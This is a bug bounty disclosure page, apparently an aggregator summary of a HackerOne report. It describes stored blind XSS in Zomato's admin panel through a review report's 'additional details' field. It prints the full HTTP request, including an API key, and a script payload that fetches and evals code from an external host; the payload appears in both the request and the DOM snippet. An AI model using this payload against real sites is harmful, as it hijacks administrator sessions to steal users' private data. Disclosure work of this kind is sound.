Blind XSS - Report review - Admin panel
A merchant-supplied 'additional details' field on a review report was rendered as HTML in the Zomato admin panel, so a stored cross-site scripting payload placed there executed in an administrator's browser. An attacker could then act as the admin, reading private user information through requests made from the admin session.
Originally disclosed on HackerOne
- Fixed in 28 days
- Paid in 48 days
- Disclosed after 48 days
#Introduction
In the Zomato Business app there is the functionality to report a review and give additional details as to why you did report the review. Because I knew this reason would be read by Zomato admins I did insert a blind XSS payload here, which ended up executing on https://www.zomato.com████████/reviews_new?review_id={ID}. This means that the content of additional details will be rendered as HTML on the admin panel page. The CSP policy of Zomato can be bypassed by leveraging the unsafe-inline in the CSP to load the JavaScript file using XMLHttpRequest.
#Steps to reproduce
- Replace the
X-Access-Tokento your access token and thereview_idto a review you can report. - Send the request in Burp
- Go to https://www.zomato.com██████████/reviews_new?review_id={ID}
- XSS payload executes
POST /v2/█████merchant HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 485
Host: api.zomato.com
X-Zomato-API-Key: a2cf52f6036511e48be6b2227cce2b54
X-Access-Token: dc5da████████ad0fdddff04
X-Client-Id: zomato_merchantandroid_v2
reason_id=5&review_id=32288944&additional_text=<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//ks.xss.ht");a.send();</script>
#Screenshot Admin Panel {█████}
#Dom Snippet
<u>Reported by Merchant(ID)</u> : <a style="opacity: 1; color: #000000; text-decoration:underline" href="https://www.zomato.com/users/43211589">43211589</a><br><u>Report Reason ID</u> : 5 (Other (mention reason below).)<br><u>Additional Text</u> : H
H
H
H
H
''"><script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//ks.xss.ht");a.send();</script>
Impact
An attacker is certain that a Zomato Admin will read his report. Thus an attacker can be sure that he can gain access to the Zomato admin panel where he can get the private information of other users by leveraging AJAX requests.
The hacker selected the Cross-site Scripting (XSS) - Stored weakness. This vulnerability type requires contextual information from the hacker. They provided the following answers:
URL https://www.zomato.com██████████/reviews_new
Verified Yes
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the admin panel rendered the merchant-supplied additional_text value without HTML-encoding it, and the site's CSP allowed inline script, so injected markup executed.
Impact
An attacker could be confident an admin would read the report, so the script could run in the admin panel and use AJAX requests to reach private information of other users; the text notes the CSP's unsafe-inline allowed the payload to load external script.
What the attacker needed
A merchant account; ability to report a review; admin opens the review page
How it was found
- Submit a review report with a script payload in the additional details field.
- Send the report request to the API.
- Open the admin review page for that review ID.
- The payload executes in the admin's browser.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you report a review, the extra text you type is shown to Zomato staff in an internal admin page. That page treated the text as code rather than plain text, so a script hidden in the text ran inside the staff member's browser. Because the script runs with the staff member's logged-in powers, it can read data the staff member can see.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.